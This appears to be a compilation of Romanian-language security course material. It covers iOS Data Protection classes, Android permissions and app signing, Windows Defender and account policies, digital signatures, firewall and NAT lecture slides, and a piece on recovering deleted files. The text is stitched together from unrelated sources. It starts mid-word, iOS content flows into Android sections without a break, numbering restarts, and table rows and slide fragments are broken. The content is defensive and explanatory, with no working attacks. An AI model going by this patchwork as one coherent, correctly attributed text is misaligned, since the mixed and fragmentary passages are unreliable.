accesibile. Clasele de bază și politicile sunt, după cum urmează:
Complete Protection
(NSFileProtectionComplete): Cheia clasei este protejată cu o cheie derivată din codul de acces
al utilizatorului și dispozitivul UID. La scurt timp după ce utilizatorul blochează un dispozitiv (10
secunde, dacă setarea Require password este Immediately), cheia clasei decriptată este eliminată,
făcînd toate datele din această clasă inaccesibile pînă utilizatorul introduce parola din nou. Aplicația de
Mail pune în aplicare Complete Protection pentru mesaje și atașamente. Aplicațiile care lansează
imagini și date de localizare sunt, de asemenea, stocate cu Complete Protection.
Protejat pînă este deschis
(NSFileProtectionCompleteUnlessOpen): Unele fișiere pot avea nevoie să fie scrise în timp ce
dispozitivul este blocat. Un bun exemplu în acest sens este un atașament e-mail ce se descarcă în
background. Acest comportament este realizat prin utilizarea criptografiei asimetrice curbe eliptice
(ECDH pe Curve25519). Împreună cu obișnuita cheie per-fișier, protecția datelor generează o pereche
de chei publice/private pentru fișier. Un secret partajat este calculat folosind cheia privată a fișierului și
cheia publică a clasei Protected Unless Open, a cărui cheie privată corespunzătoare este protejată cu
codul de acces al utilizatorului și UID-ul dispozitivului. Cheia per-file este împachetată cu hash-ul
acestui secret partajat și stocată în metadata fișierului, împreună cu cheia publică a fișierului, cheia
privată corespondentă este apoi ștearsă din memorie. Îndată ce fișierul este închis, cheia per-file este,
de asemenea, ștearsă din memorie. Pentru a deschide fișierul din nou, secretul partajat este re-creat
folosind cheia privaă a clasei Protected Unless Open și cheia publică efemeră a fișierului; hash-ul este
folosit pentru a desface cheia per-file, care este apoi folosită pentru a decripta fișierul.
Protected Until First User Authentication
(NSFileProtectionCompleteUntilFirstUserAuthentication): Această clasă se comportă în același
mod ca și Complete Protection, cu excepția faptului că cheia decriptată a clasei nu este ștearsă din
memorie atunci cînd dispozitivul este blocat. Protecția în această clasă are proprietăți similare pentru
decriptarea desktop full-disk și protejează datele de atacuri care implică o restartare.
No protection
(NSFileProtectionNone): Cheia acestei clase este protejată doar cu UID, și se păstrează în
Effaceable Storage. Aceasta este clasa implicită pentru toate fișierele care nu sunt atribuite unei clase
Data Protection. Din moment ce toate cheile necesare pentru a decripta fișiere în această clasă sunt
stocate pe dispozitiv, criptarea permite numai beneficiul de ștergere rapidă la distanță. Dacă unui fișier
nu îi este atribuită o clasă Data Protection, este încă stocată în formă criptată (așa cum sunt toate datele
pe un dispozitiv iOS).
iOS Software Development Kit (SDK) oferă o suită completă de API-uri, care fac mai ușor
adoptarea clasei Data Protection de către terțe părți și dezvoltatori in-house și asigurarea nivelului cel
mai înalt de protecție a datelor pentru aplicațiile lor. Data Protection este disponibilă pentru API de
fișier și baze de date, inclusiv NSFileManager, CoreData, NSData, și SQLite.
Figura 2.4.3.1. Accesul la datele utilizatorului este posibil doar prin intermediul API-urilor protejate
Furnizorii de conținut ai sistemului, care pot conține informații personale sau de identificare
personală, cum ar fi contactele și calendarul, au fost creați cu permisiuni clar identificate. Această
granularitate oferă utilizatorului indicații clare a tipurilor de informații care pot fi furnizate aplicației. În
timpul instalării, o aplicație terță poate cere permisiunea de a accesa aceste resurse. Dacă permisiunea
este acordată, aplicația poate fi instalată și va avea acces la datele solicitate în orice moment.
Orice aplicație care colectează informații cu caracter personal în mod implicit vor avea aceste
date limitate numai pentru aplicații specifice. În cazul în care o aplicație alege să facă datele disponibile
pentru alte aplicații prin IPC, aplicația care acordă acces poate aplica permisiuni pentru mecanismul
IPC, care este pus în aplicare de către sistemul de operare.
2.4.4 Dispozitive de introducere a datelor sensibile
Dispozitivele Android oferă frecvent dispozitive de introducere a datelor sensibile, care permit
aplicațiilor să interacționeze cu mediul înconjurător, cum ar fi camera foto, microfon sau GPS. Pentru o
aplicație terță ca să acceseze aceste dispozitive, trebuie mai întâi furnizate în mod explicit accesul de
către utilizator prin utilizarea de Android OS Permissions.
Dacă o aplicație dorește să știe locația utilizatorului, aplicația necesită o permisiunea de a
accesa locația utilizatorului. După instalare, programul de instalare va întreba utilizatorul dacă aplicația
poate accesa locația utilizatorului. În orice moment, în cazul în care utilizatorul nu dorește nici o
aplicație să acceseze locația, poate rula aplicația "Settings", să meargă la "Location & Security", și să
debifeze "Use wireless networks" și "Enable GPS satellites". Acest lucru va dezactiva serviciile bazate
pe localizare pentru toate aplicațiile de pe dispozitivul utilizatorului.
2.4.5 Metadata dispozitivului
Android, de asemenea, încearcă să limiteze accesul la date care nu sunt intrinsec sensibile, dar
pot dezvălui indirect caracteristicile legate de utilizator, preferințele utilizatorului, precum și modul în
care acesta folosește un dispozitiv.
Aplicațiile implicite nu au acces la log-urile sistemului de operare, istoricul browser-ului, număr
de telefon, sau informația de identificare hardware / rețea. Dacă o aplicație cere acces la această
informație în momentul instalării, programul de instalare va întreba utilizatorul dacă aplicația poate
accesa informațiile. În cazul în care utilizatorul nu permite accesul, aplicația nu va fi instalată.
2.4.6 Semnătura aplicațiilor
Semnarea codului permite dezvoltatorilor să identifice autorul aplicației și să actualizeze
aplicarea acesteia, fără a crea interfețe complicate și permisiuni. Fiecare aplicație care rulează pe
platforma Android trebuie să fie semnată de către dezvoltator. Aplicațiile care încearcă să instaleze,
fără a fi semnate sunt respinse fie de către Google Play fie de programul de instalare pe dispozitivul
Android.
Pe Google Play, semnarea aplicației identifică încrederea pe care Google o are față de
dezvoltator și încrederea dezvoltatorului în aplicația lui. Dezvoltatorii știu că aplicația lor este livrată
nemodificată la dispozitivul Android, și dezvoltatorii pot fi trași la răspundere pentru comportamentul
aplicației lor.
Pe Android, semnarea aplicației este primul pas pentru introducerea unei aplicații în
Application Sandbox. Certificatul aplicației semnate definește care ID de utilizator este asociat cu care
aplicație; diferite aplicații rulează sub ID-uri de utilizator diferite. Semnarea aplicației garantează că o
aplicație nu poate accesa orice altă aplicație decît prin IPC bine definit.
Atunci cînd o aplicație (fișier APK) este instalat pe un dispozitiv Android, Package Manager
verifică dacă APK a fost corect semnat cu certificatul inclus. În cazul în care certificatul (sau, mai
exact, cheia publică în certificat) se potrivește cu cheia utilizată pentru a semna orice alt APK pe
dispozitiv, noul APK are opțiunea de a specifica în manifest că va împărți un UID cu alte APK semnate
similar.
Aplicațiile pot fi semnate de către o parte terță (OEM, operator, piața alternativă) sau auto-
semnate. Android prevede semnarea codului folosind certificate auto-semnate, pe care dezvoltatorii le
pot genera fără asistența externă sau permisiune. Aplicațiile nu trebuie să fie semnate de către o
autoritate centrală. Android în prezent, nu efectuează verificarea certificatelor CA pentru aplicații.
Aplicațiile sunt, de asemenea, capabile să declare permisiunile de securitate la nivelul protecției
semnăturii, limitînd accesul numai la aplicații semnate cu aceeași cheie menținînd în același timp UID-
uri distincte.
2.4.7 Management-ul drepturilor digitale
Platforma Android oferă un cadru extensibil DRM care permite aplicațiilor să gestioneze
conținutul protejat de drepturi în conformitate cu constrîngerile licenței care sunt asociate conținutului.
Cadrul DRM suportă multe scheme DRM.
Cadrul Android DRM este implementat în două nivele arhitecturale (Figura 2.4.7.1):
• Un API al cadrului DRM, care este expus la aplicații prin cadrul de aplicații Android și
rulează prin Dalvik VM pentru aplicații standarde.
• Un manager de cod nativ DRM, care implementează cadrul DRM și expune o interfață pentru
plug-inurile (agenți) DRM să gestioneze drepturile de management și decriptarea pentru diferite
scheme DRM.
1.1. Centrul de securitate Windows Defender, figura ,1 oferă zona Protecție împotriva
virușilor și amenințărilor, pentru a proteja sistemul de calcul. Sunt disponibile următoarele soluții
de securitate:
- Protecția împotriva virușilor și amenințărilor, prin scanarea după amenințări și
actualizarea la cea mai recentă protecție oferită de Antivirus Windows Defender,
vizualizarea scanărilor anterioare împotriva virușilor și amenințărilor.
- Urmărirea stării de bună funcționare a sistemului și performanță. Consultantul
monitorizează sistemul de calcul și oferă informații, recomandări într-un raport privind
starea de bună funcționare pentru a adresa problemele uzuale cu capacitatea de stocare,
driverele de dispozitiv, autonomia bateriei, Windows Update sau Fresh Start.
- Firewall și protecție în rețea. Se poate vedea starea Firewallului Windows și rețelele la
care este conectat sistemul de calcul. Pot fi accesate și setate opțiunile de filtrare a datelor
transmise prin rețea în/din sistem.
- Controlul aplicațiilor și browserului. SmartScreen contribuie la protejarea dispozitivului
dvs. împotriva aplicațiilor, fișierelor, site-urilor web și descărcărilor potențial periculoase.
- Protejarea familiei dvs. în mediul online. Opțiunile pentru familie oferă acces ușor la
instrumente utile pentru gestionarea vieții digitale a copiilor sau altor membri ai familiei în
sistemul de calcul.
Figura 1. Windows Defender Security Center
1.2. Conturi de utilizator
Conturile de utilizator permit mai multor utilizatori să folosească același sistem de calcul,
fiecare având propriul folder privat de Documente, poștă electronică, setări, etc. De asemenea, este
îmbunătățită securitatea și sunt reduse probleme ce pot apărea la partajarea de fișiere.
Un nou cont de utilizator ar trebui creat atunci când există o altă persoană care lucrează pe
același calculator cu tine.
În Windows 10 există două tipuri principale de conturi: administrator și standard (utilizator
standard).
Administratorul are acces complet la toate conturile de utilizator de pe calculator. Poate
crea și șterge conturi de utilizator, poate crea parole pentru ceilalți utilizatori, le poate schimba
numele contului, parola, imaginea sau tipul de cont. Ca regulă, trebuie să existe cel puțin un cont
de administrator pe calculator. Implicit, la instalarea sistemului de operare, se creează un cont de
administrator.
Utilizatorul standard este configurat de către un administrator. Un utilizator standard poate
instala aplicații și poate schimba configurări pentru uzul propriu. Utilizatorii standard nu pot
adăuga alți utilizatori și nu pot modifica configurările altor utilizatori.
Își poate modifica imaginea contului și poate crea, modifica sau șterge parola, dar nu poate
schimba numele sau tipul contului său. De asemenea, unele programe (mai ales programe vechi)
este posibil să nu funcționeze corect pe acest tip de cont. Este posibil ca ele să solicite modificarea
temporară sau permanentă a contului utilizator într-unul de administrator.
În plus față de alegerea unuia dintre aceste tipuri de conturi, se poate alege, de asemenea,
o metodă de conectare pentru fiecare tip: persoanele se pot conecta la Windows cu un cont
Microsoft sau cu un cont local (figura 2-4).
Figura 2. Crearea unui cont în Windows 10
RISCURI ȘI RECOMANDĂRI
Accesarea servicilor Web de pe un cont de administrator crează premise de infectare cu
programe malițioase, de aceea se recomandă să se utilizeze contul standard. Contul de
administrator se utilizează doar în cazul speciale.
Orice activitate din sistem trebuie să poată fi identificată prin contul de utilizator sau adresa
IP (să nu fie utilizate instrumente de anonimat în sistemele informatice, cum ar fi de exemplu
proxy server-e, anonymizer-r etc.).
Permisiunile sunt sumate, iar interdicția este o prioritate mai mare decât permisiunea. De
exemplu, în cazul în care utilizatorul are permisiunea de a citi dosarul, și în grupul din care face parte
- de a scrie, ca urmare utilizatorul poate citi și scrie. În cazul în care utilizatorul are permisiunea de a
citi, și grupul din care face parte, citirea este interzisă, utilizatorul nu poate citi fișierul.
Dacă vorbim despre fișiere și foldere, mecanismele de securitate din sistemele de fișiere
sunt acceptate numai pe discuri cu sistem de fișiere NTFS. Sistemul de fișiere FAT (și varianta sa
- FAT32) nu implică posibilitatea de a stoca ACL, asociat cu fișierul (figura 6,7).
Fiecărui utilizator trebuie să-i fie comunicat, într-o formă stabilită de responsabilul de
securitate cibernetică sau de către persoana responsabilă de proces (administratorul), drepturile,
obligațiile, restricțiile și responsabilitățile privind utilizarea mijloacelor TIC în activitatea de serviciu;
Să-i fie asociat un cont de utilizator specific atribuțiilor de serviciu, cu funcții de
administrare sau cu funcții de utilizator. Să fie utilizate în sistem mijloacele tehnice speciale, care
să interzică utilizarea acestor conturi de către persoane terțe.
Politicile de securitate Windows sunt foarte eficiente în protejarea mașinilor Windows prin
asigurarea accesului restricționat la utilizatori. Dacă politicile de securitate Windows nu sunt
configurate corect, utilizatorii pot manipula ușor registrul, applet-urile panoului de control, și alte
setări de sistem critice, ceea ce poate duce la blocarea sistemului. Prin urmare, configurarea în mod
corespunzător a politicilor de securitate pentru Windows în fiecare mașină windows din rețea este
foarte important (figura 8).
Politica de securitate locală a unui sistem este un set de informații cu privire la securitatea
unui calculator local. Informațiile politicii de securitate locale include următoarele:
1. Domeniile de încredere pentru a autentifica încercări de conectare.
2. Care conturi de utilizator pot accesa sistemul și cum. De exemplu, interactiv, printr-o
rețea, sau ca un serviciu.
3. Drepturile și privilegiile atribuite conturilor.
4. Politica de audit de securitate.
1. Semnătura digitală
2. Infrastructura cheilor publice (PKI)
3. Sisteme de certificare a cheilor publice
(SSL)
Semnătura digitală
• DSA produce semnaturi mici (320 biti) si, astfel, este des
folosita în situatiile în care memoria disponibila este
limitata (smartcard-uri, telefoane mobile etc.).
• La DSA, generarea semnaturii este mult mai
rapida decât verificarea ei.
• Se poate spune ca este avantajos ca semnarea sa fie
rapida, dar în multe aplicatii se semneaza de obicei o
singura data, iar semnatura e verificata des.
• În acest caz, ar fi mai avantajos sa avem o verificare a
semnaturii mai rapida.
• Multi autori, printre care si Naccache,
au încercat sa dezvolte tehnici pentru îmbunatatirea
eficientei DSA, atât pentru semnare, cât si pentru
verificare.
Algoritmul DSA
Authority Information Acces la informaţiile centrului de URL pentru stabilirea statutului certificatului
Access certificare
Key Usage Utilizarea cheii Non-repudierea, semnătura digitală, criptarea cheilor, key
agreement
Extended Key Usage Utilizarea extinsă a cheii Autentificarea serverului
Subject Key Identificatorul cheii titularului Identificatorul cheii private, corespunzătoare cheii publice
Identifier certificatului certificate
CRL Distribution Punctul distribuiţie a listei Sursa de publicare a listei certificatelor revocate
Point certificatelor revocate
Definitie:
• Numim firewall un echipament care examineaza traficul si ia
deciziile pentru controlul accesului.
• Uzual spunem ca realizeaza filtrarea datelor
Caracteristici:
• Separa reteaua sigura de rest
• Permite trecerea numai a traficului autorizat
• Actioneaza ca o bariera intre “noi” si rest
• Limiteaza comunicatia din afara retelei, chiar daca lumea exterioara
este o alta parte a aceleiasi organizatii
• Prin ascunderea dupa firewall numai cateva masini ale organizatiei
sunt expuse atacurilor
1
Utilizare firewall
Motivatie:
• Exista brese de securitate datorate bugurilor software (prezente si in
software de securizare)
• Codul rulat pentru implementarea firewall este restrans -> numarul bugurilor
posibile este foarte mic
• Administrarea firewall este supusa unui set de reguli stricte
• Firewall forteaza partitionarea retelei in domenii de securitate diferite
• Firewall executa putine instructiuni, suport pentru loguri si monitorizari
• Fara partitii o retea este vazuta ca o masina virtuala uriasa cu un set
necunoscut de utilizatori obisnuiti si privilegiati
Observatii:
• Nu este o solutie la problemele retelei, ci un raspuns la problemele de
securitate ale masinilor din retea
• Nu stie cum se produce un software sigur, corect si usor de administrat
• Protocoalele de retea “sigure” nu inlocuiesc firewall.
• Nicio metoda criptografica nu poate proteja impotriva codului cu buguri.
2
Avantaje firewall
3
Structura schematica
Componente:
• Interior – oricine din interior este presupus a fi bine intentionat
• Exterior – cei rau intentionari sunt plasati aici
• DMZ – se plaseaza serverele neecesare, dar potential periculoase
aici.
Filtru Filtru
DMZ
4
Caracteristici
5
Tipuri de firewall
Tipuri de firewall:
– Filtrarea de pachete
– Filtrarea dinamica a pachetelor
– Gateway pentru aplicatii
– Comutarea circuitelor
– Firewall personale si/sau distribuite
6
Filtrarea pachetelor
7
Stateless packet filtering
Obs: La cererea unei legaturi clientul transmite un pachet cu bitul SYN setat si
numar secventa 0 in headerul TCP. Serverul raspunde cu un pachet
SYN_ACK, pachet in care sunt setati bitii SYN si ACK. Apoi clientul
transmite o confirmare cu ACK catre server si se considera conexiunea
stabilita.
– Toate celelalte pachete au bitul ACK setat
• Action:
– Permit (Pass, Allow) – permite inaintarea pachetului;
– Deny (Block) – elimina pachetul;
• Direction:
– Source - de unde vine pachetul: <IP address, port>;
– Destination – unde merge pachetul: <IP address, port>;
• Protocol:
– TCP;
– UDP;
9
Exemplu reguli setare firewall
10
Exemplu: Setare incorecta
11
Exemplu: Alegere corecta
12
Exemplu: Crearea unui filtru propriu
• Rezolvare:
– Se creaza un filtru care elimina navigarea web pentru toate
masinile din interiorul companiei.
– Se presupune ca toate adresele IP in companie sunt cunoscute.
– Pachetele iesite la portul 80 (web servers)
13
Filtrare UDP
Particularitati:
• La UDP nu exista notiunea de conexiune si ca urmare este imposibil
a se distinge raspunsul de o cerere, care ar trebui permis, fata de un
pachet malitios.
• Address spoofing este fara conexiune
14
Exemplu UDP: DNS
15
Probleme ICMP si RPC
Pachetele ICMP:
• Pot fi generate ca raspuns la pachete TCP sau UDP: exemplu
raspunsul “Path MTU”
• Trebuie sa fie permise cand avem conectivitate cat si la intreruperea
sa
Concluzie: Simpla filtrare a pachetelor nu poate realiza aceste lucruri.
La RPC:
• Serviciile RPC se leaga de numere de port aleatoare;
• Nu exista nici un mod de a cunoaste apriori porturile care sa fie
blocate si care sa fie permise
• Aceleasi probleme apar si la clientii RPC
Concluzie : Sistemele care utilizeaza RPC nu pot fi protejate prin
simpla filtrare a pachetelor.
16
O abordare incorecta
17
FTP si SIP
Proprietati:
• Clientii FTP si alte servicii utilizeaza canale secundare
• Folosesc numere de poart aleatoare
• Filtrarea simpla a pachetelor nu este posibila
• O incercare de creare de reguli simple pe baza pachetelor nu va
functiona
Solutii:
• Clientii FTP trimit comanda PORT pentru a specifica adresa pentru
conexiunea catre interior
• Daca se utilizeaza comanda PASV canalul de date foloseste o
conexiune separata spre exterior;
• Daca politica locala permite conexiuni arbitrare catre exterior
aplicarea metodei da rezultate bune.
18
Rolul filtrelor de pachete
DMZ: 192.168.168.42.0/24
Firewall
Mail DNS
Inside: 10.0.0.0/16
19
Exemplu de reguli
20
Statefull Packet Filters
Caracteristici:
• Cel mai obisnuit tip de filtrare pachete
• Rezolva destul de multe (dar nu toate) din problemele filtrelor simple
de pachete
• Necesita stare pe conexiune in firewall
Pastrarea starii:
• Cand un pachet este trimis in exterior se inregistreaza acest lucru in
memorie;
• Asociaza pachetele spre interior cu starea creata de pachetele catre
exterior
21
Probleme rezolvate, probleme ramase
Probleme rezolvate:
• Poate manipula mesajele UDP de tip cerere/raspuns
• Poate asocia pachetele ICMP cu conexiunea
• Rezolva unele dintre problemele filtrarii in-bound/out-bound, insa
tabelele de stare sunt necesar asociate cu pachetele spre interior
• In continuare necesita blocare pentru address-spoofing
Probleme ramase:
• Inca are probleme cu porturile secundare
• Inca are probleme cu RPC
• Inca are probleme cu semanticile complexe (ca de ex. DNS)
• Multimea starilor ce por fi pastrate este limitata
22
Firewall si Network Address Translators (NAT)
Operare NAT
Retea privata Host public
64.236.24.4
Sursa=10.0.1.2
Dest=64.236.24.4 NAT
23
Operare NAT (1)
Sursa=129.174.93.21
Retea privata Dest=64.236.24.4
Sursa=10.0.1.2
Dest=64.236.24.4 NAT
Host public
Host Adresa privata Adresa Adresa 64.236.24.4
10.0.1.2 Privata Publica
10.0.1.2 129.174.93.21
24
Operare NAT (2)
Sursa=129.174.93.21
Retea privata Dest=64.236.24.4 Sursa=129.174.93.21
Dest=64.236.24.4
Host Sursa=64.236.24.4
Adresa privata
Dest=129.174.93.21
10.0.1.2
Adresa Adresa
Privata Publica
10.0.1.2 129.174.93.21
25
Operare NAT (3)
Sursa=129.174.93.21
Retea privata Dest=64.236.24.4 Sursa=129.174.93.21
Dest=64.236.24.4
Host Sursa=64.236.24.4
Adresa privata
Sursa=64.236.24.4 Dest=129.174.93.21
10.0.1.2
Dest=10.0.1.2
Adresa Adresa
Privata Publica
10.0.1.2 129.174.93.21
26
Comparatie stateful packet filter - NAT
27
Relatie firewall – stiva OSI
Efecte pe niveluri:
• Pornind de la limitarile filtrarii pachetelor discutate deja, firewall este
incapabil sa protejeze de atacuri pe layere de nivel inalt OSI;
28
Filtre pe niveluri
Application/proxy
FTP HTTP TELNET NFS level firewalls
TCP UDP
Network/packet ICMP
filtering firewalls
IP
Link layer
firewalls Ethernet Fddi PPP
29
Avantaje/dezavantaje filtrare pe niveluri
Avantaje:
• Protectia poate fi canalizata pe o aplicatie individuala
• Este disponibila mai multa informatie de context
• Doar aplicatia este afectata, overhead nu este global
Dezavantaje:
• Firewall la nivel aplicatie nu poate proteja impotriva atacurilor la
nivelurile inferioare
• Necesita cate un program separat pentru fiecare aplicatie
• Aceste programe pot fi destul de complexe
• Aceste programe pot fi destul de nepotrivite pentru aplicatiile
utilizator
30
Exemplu: email
Probleme protejare email:
• Protejarea email pe fluxul spre interior sau spre exterior? Codul este
comun, dar pot fi destule deosebiri.
• Actiunea la nivel SMTP (RFC 2821) sau la nivel de continut email (RFC
2822)?
• Ce se intampla cu MIME care extinde formatul email: alte seturi de
caractere decat ASCII, atasamente nontext, continut de mesaj cu parti
multiple, informatii de context in header.
Amenintari:
• Uzual: apararea impotriva erorilor de implementare a protocolului
• Scanarea impotriva virusilor
• Anti spam
• Atacuri prin javascript
• Atacuri prin violarea politicii organizatiei referitoare la email
• Atacuri impotriva verificarii semnaturii
31
Email: mesaje catre interior
• Mesajul email este usor de interceptat prin inregistrarile MX.
• O inregistrare MX (Mail eXchanger record) este un tip de inregistrare
resursa in DNS specificand cum un mail trebuie rutat utilizand SMTP.
Fiecare inregistrare MX contine preferinta si nume host, asa ca o colectie
de inregistrari MX pentru un nume de domeniu dat specifica serverele care
trebuie sa receptioneze mail pentru acel domeniu si prioritatea lor relativa
• Posibilitatea de a utiliza “*” pentru manipularea intregului domeniu. Ex: DNS
aii.pub si *.aii.pub. toate mesajele sunt trimise la masinile terminale
Niveluri de protectie posibile:
• Masina receptoare poate filtra adresele IP realizand protectie la nivel de
retea
• Masina receptoare poate rula un SMTP puternic realizand protectia la
nivel de aplicatie
• Un mail receptionat poate fi scanat la nivel de continut pentru orice tip de
amenintari;
• Firewall poate combina mai multe functii
32
Combinare firewall
33
Protejare email prin firewall
Outside
DMZ
Filtru
Pachete
SMTP Anti spam
Receiver Anti virus
Inside
34
Politici privind protectia email
Stabilirea unui flux pentru mesajele email
35
Solutii DNS
UDP:
• Localizarea server DNS in DMZ; De fapt utilizarea unui nivel
aplicatie care sa lucreze cu restrictiile de fitrarea pachetelor;
• DNS nu necesita schimbari in aplicatie care sa faciliteze acest
lucru.
Perspectiva interna fata de cea externa:
• Pot cei din exterior sa vada numele masinilor interne? Solutie:
utilizarea a doua servere DNS, unul pentru cereri interne, altul
pentru cereri externe
• Dispunerea unui firewall in fiecare parte;
• Trebuie asigurat ca masinile interne nu vad inregistrarile name
server ca apoi sa incerce iesirea in exterior direct.
Atacuri prin contaminare cache:
• Serverele DNS pastreaza in cache rezultatele cererilor;
• Raspunsurile pot contine informatii aditionale ce pot fi utile, dar nu
sunt parti ale raspunsului la cerere;
• Cale atac: Trimiterea de inregistrari fictive ca informatii aditionale
pentru a face urmatoarele cereri confuze.
36
Filtrare DNS
37
Atacuri prin FTP Proxy
Caracterizari:
• Va reamintiti utilizarea comenzii PORT?
• Daca apare o comanda PORT, se anunta firewall sa deschida acel port
temporar pentru primirea unei conexiuni;
• Aceeasi situatie cu RPC – definirea filtrelor bazate pe aplicatii RPC, nu pe
numere port.
38
Personal firewall
Caracteristici:
• Adaugate la principalele protocoale din stiva;
• Prin termenul ‘inside’ se intelege masina, orice altceva este ‘outside’;
• Cele mai multe actioneraza ca filtre de pachete;
• Setul de reguli poate fi definit individual sau de administrator.
Probleme:
• Este simplu sa rejectam protocoale, nu este asemanator cu personal
firewall;
• Partea dificila: raspuns afirmativ in conditii de siguranta;
• Nu putem vorbi de topologie – tot ce avem este adresa IP a
transmitatorului;
• Inlocuirea adresei IP nu este foarte dificila, mai ales la pachete UDP.
39
Application-Linked Firewalls
40
Distributed Firewalls
• Din unele puncte de vedere sunt similare cu personal firewall aflate direct
sub controlul politicii centrale;
41
Probleme suplimentare (1)
Echipamente mobile:
• Cand un echipament mobil este in afara zonei de protectie a firewall cum va
fi protejat?
• Solutie posibila: Personal firewall si securizarea/inchiderea tuturor serviciilor
ne-necesare.
42
Probleme suplimentare (2)
Conectivitatea dinamica:
• Firewall se sprijina pe topologie si servicii statice;
• Daca sunt prea multe conexiuni, unele vor ocoli firewall;
• La anumite momente nu este posibil sa protejeze efectiv toate legaturile
externe;
• Companiile mari pot avea sute sau mii de conexiuni externe multe fiind
necunoscute de catre personalul ce administreaza reteaua.
Eschivare (evitare):
• Firewall sau administrator firewall nu sunt suficient de bune;
• Unele dintre aplicatii nu sunt capabile de ruleze;
• Furnizorii initializeaza conexiunea crezand ca ruleaza peste porturi
cunoscute apriori;
• Conexiunile HTTP se realizeaza uzual peste firewall si chiar web proxy.
43
Tema: Sisteme de recuperare a informațiilor după
ștergere
Introducere
Pierderea accidentală a datelor constituie o problemă majoră pe care fiecare utilizator a întâlnit-
o cel puţin o dată. Fie că este vorba de ştergerea unor fişiere, de formatarea întregului hard disk, de
pierderea informaţiilor conţinute în sectorul de boot, de o partiţionare greşită sau chiar de atacul unui
virus, oricare dintre aceste neplăcute şi neaşteptate evenimente poate avea consecinţe foarte grave
asupra datelor importante şi, implicit, asupra utilizatorului. În general, acesta se simte în siguranţă,
creează, modifică şi salvează datele sale importante pe un singur hard disk, însă, rareori se gândeşte
la transferul acestora pe un alt mediu de stocare magnetic sau optic, iar, chiar dacă acest lucru se
întîmplă, el nu are un caracter periodic. În prezent, soluţiile de stocare ale copiilor de siguranţă
(backup) sunt la îndemâna oricui, de la clasica dischetă pentru fişiere de dimensiuni mici, continuând
cu accesibilul CD sau CD-RW şi noile venite, DVD-urile, cardurile de memorie Compact Flash,
Smart Media, Secure Digital etc.
Cauzele care conduc la pierderea datelor sunt numeroase şi, de cele mai multe ori,
neprevăzute: fluctuaţii sau întreruperi bruşte ale curentului electric, atacuri ale unor viruşi, neatenţia
utilizatorului în momentul ştergerii voluntare a unor fişiere, diverse erori apărute în momentul
schimbării tabelei de partiţii, a sistemului FAT, şocuri mecanice etc.
Indiferent de situaţie, nu este cazul să ne facem griji. Fişierele sunt în continuare în siguranţă
pe hard-disk şi în mod cert pot fi accesate în continuare cu ajutorul unui program de recuperare a
fișierelor șterse, chiar dacă acestea nu sunt vizibile în directorul respectiv.
În lucrarea de față sînt explicate motivele pentru care un fişier poate fi recuperat şi după ce a
fost şters şi sunt prezentate cîteva dintre cele mai importante programe gratuite şi contra-cost care pot
rezolva asemenea probleme.
2
1. Recuperarea fișierelor șterse
Oricare ar fi cauzele, informațiile trebuiesc recuperate. În unele cazuri poate fi mai ușor, în
altele mai dificil. Dar mai întîi trebuie să înțelegem cum se pierd fișierele.
În momentul în care ştergi un fişier de pe PC, în mod implicit Windows trimite fișierele șterse
în Recycle Bin, dar nu sunt şterse în mod fizic de pe hard-disk, ci doar îndepărtat din directorul în
care se afla. Aflînduse în Recycle Bin, pot fi restaurate prin deschiderea Recycle Bin-ului, selectarea
acestora și apăsarea butonului Restore. Dacă Recycle Bin a fost golit, însă, misiunea se complică, dar
nu devine imposibilă. Chiar dacă fişierul a fost șters din Recycle Bin, acesta este în continuare
prezent pe hard-disk, chiar dacă sistemul de operare ne spune că spaţiul alocat fişierului respectiv a
fost eliberat. Acest lucru se întâmplă pentru că sistemul de operare nu utilizează imediat spaţiul
eliberat prin ştergerea fişierului. Cu alte cuvinte, fişierul devine irecuperabil doar în momentul în care
spaţiul alocat pentru fişierul respectiv este alocat unui alt fişier. De aceea, şansele de a recupera un
fişier şters accidental sunt cu atît mai mari cu cît timpul care a trecut de la această operaţiune este mai
mic. Din acest motiv, este recomandat ca documentele și fișierele importante să fie ținute pe o partiție
separată. Dacă acestea sunt ținute pe partiția sistemului de operare acestea riscă să fie suprascrise
foarte repede, datorită oprerațiunilor constante de scriere/citire afectuate de acesta.
Primul pas este să… nu faci nimic!
După ce s-a constatat că a fost şters din greşeală un fişier, cel mai important lucru este să nu
facem nimic. Pentru a avea şanse cît mai mari de a recupera fişierul respectiv trebuie să se evite
orice contact cu hard-disk-ul sau partiţia pe care era fişierul. Asta înseamnă că nu trebuie să se
copieze alte fişiere, să instaleze programe, să se navigheze pe internet şi, mai ales, să nu se
defragmenteze hard-disk-ul sau partiţia hard-disk-ului.
Regula de aur a unui program de recuperare
Nu se utilizează un program de recuperare a fişierelor pe hard-disk-ul sau partiţia de pe care se
dorește recuperarea datelor! Această regulă este foarte importantă, întrucât dacă este încălcată există
riscul să se suprascrie exact fişierul pierdut, caz în care nu va mai fi posibilă recuperarea fişierului în
cauză.
Dacă este un singur hard-disk cu o singură partiţie, se utilizează programul de recuperare a
datelor fie de pe un hard-disk extern, fie de pe un stick USB. Chiar şi această soluţie este periculoasă
3
dacă programul necesită instalarea unor fişiere proprii pe partiţia în care este instalat sistemul de
operare (de regulă, în C://Windows). De aceea, se recomandarea să se stocheze toate fişierele
importante pe o altă partiţie sau pe un alt hard-disk decît cel pe care este instalat sistemul de operare.
1. Recuva (pronounced "recover") este unul dintre cele mai cunoscute programe gratuite
pentru recuperarea datelor, fiind apreciat atît pentru recupararea datelor în sine, cît şi pentru interfaţa
simplă şi uşor de utilizat. Poate recupera fișiere din Recycle bin, inclusiv documente Microsoft
Office pe care nu ai apucat să le salvezi, cît și imagini și alte fișiere șterse accidental de pe cartela de
memorie a camerei digitale sau MP3 playere, muzica stocată pe iPod sau emailuri. Există şi în
varianta portabilă.
2. Data Recovery Wizard Free Edition – Aplicaţia dezvoltată de Ease US permite,
potrivit producătorului, salvarea inclusiv a fişierelor de pe HDD-uri formatate fără a continua
căutarea fişierelor pierdute fără scanarea repetată a unității, de pe USB, carduri de memorie, camera
digitale, telefoane mobile, playere și alte suporturi. De asemenea, pot fi căutate doar anumite extensii
de fişiere, însă partea mai puţin plăcută este că se poate salva gratuit doar 1 GB de data. De aceea,
pentru muzică şi filme ar trebui de ales alte soluţii.
Este suportat de următoarele SO:Windows 8.1/8/7/Vista/XP/2000 and Windows Server
2012/2008/2003
3. Panda Recovery – Programul îţi permite să salvezi fişiere şterse accidental de pe o
varietate de produse (HDD-uri, HDD-uri externe, stick-uri USB) şi poţi utiliza şi funcţia de căutare
dacă ştii măcar parţial numele sau extensia fişierelor. Din păcate, programul nu este compatibil cu
Windows 7, iar versiunea portabilă este disponibilă contra cost
4
